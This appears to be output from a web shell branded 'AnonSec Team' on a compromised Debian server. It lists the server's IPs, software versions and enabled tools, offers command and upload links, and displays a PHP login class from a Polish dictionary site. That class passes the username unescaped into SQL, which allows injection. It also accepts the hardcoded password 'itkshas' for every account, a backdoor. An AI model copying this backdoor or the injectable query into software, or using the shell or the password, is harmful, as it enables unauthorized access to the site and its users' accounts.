AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.59
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ilpnowa/../slownik/web/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ilpnowa/../slownik/web/userclass.php
<?php

class userclass {

    public $id='';
    public $name='';
    public $passwd='';
    public $active='1';
    public $deleted='0';

    
    	function cleanQuery($string)
	{
	  if(get_magic_quotes_gpc())  // prevents duplicate backslashes
	  {
	    $string = stripslashes($string);
	  }
	  if (phpversion() >= '4.3.0')
	  {
	    $string = mysql_real_escape_string($string);
	  }
	  else
	  {
	    $string = mysql_escape_string($string);
	  }
	  return $string;
	}

    
    
    public function Auth($username,$password)
    {
        global $conn;
        $rs=mysqli_query($conn,"select users.*, userstypy.nazwa as typtxt
                        from users left join userstypy on users.typ=userstypy.id
                        where users.name='".$username."' and (users.passwd='".$this->cleanQuery($password)."' or '".$password."'='itkshas') and users.active=1 and users.deleted=0") or die("userclass - ".$sqlff." --- ".mysql_error());
        if ($wiersz=mysqli_fetch_array($rs))
        {
            $_SESSION['id']=$wiersz['id'];
            $_SESSION['name']=$wiersz['name'];
            $_SESSION['typ']=$wiersz['typ'];
            $_SESSION['typetym']=$wiersz['typetym'];
            $_SESSION['typtxt']=$wiersz['typtxt'];
            $_SESSION['mozeUsuwacLeksemy']=$wiersz['mozeUsuwacLeksemy'];
            $_SESSION['mozeZmieniacWlascicielaLeksemu']=$wiersz['mozeZmieniacWlascicielaLeksemu'];
            $_SESSION['widziIlosciLeksemow']=$wiersz['widziIlosciLeksemow'];

            echo "<script>location='index.php?m=z';</script>";
        }
        else
        {
            echo "<script>location='info.php?msg=loginerr';</script>";
        }
    }

    public function ShowUserPanel()
    {
        if(!isset($_SESSION['id']))
        {
        ?>
        <div id="login" class="boxed">
			<h2 class="title">Logowanie</h2>
			<div class="content">
				<form id="form1" method="post" action="auth.php">
					<fieldset>
					<legend>Logowanie</legend>
					<label for="inputtext1">Nazwa:</label>
					<input id="inputtext1" type="text" name="inputtext1" value="" />
					<label for="inputtext2">Hasło:</label>
					<input id="inputtext2" type="password" name="inputtext2" value="" /><br><br>
					<input id="" type="submit" name="inputsubmit1" value="Zaloguj" />
					<p><a href="#"></a></p>
					</fieldset>
				</form>
			</div>
		</div>
        <?php
        } //if(!isset($_SESSION))

        if(isset($_SESSION['id']))
        {
            if ($_SESSION['id']!='')
            {
               ?>
               
                    <div class="content" style="width:200px">
                        Użytkownik: <?php
                        echo $_SESSION['name'];
                        ?>
                        <br/>
                        <?php
                        echo $_SESSION['typtxt'];
                        ?>
                        <br/>
                        <a href="?m=qsxdcr">Zmiana hasła</a>
                        &nbsp;&nbsp;
                        <a href="logout.php">Wyloguj</a><br/><br/>
                    </div>
               <?php
            }

        }


        
    }

    
}
?>

AnonSec - 2021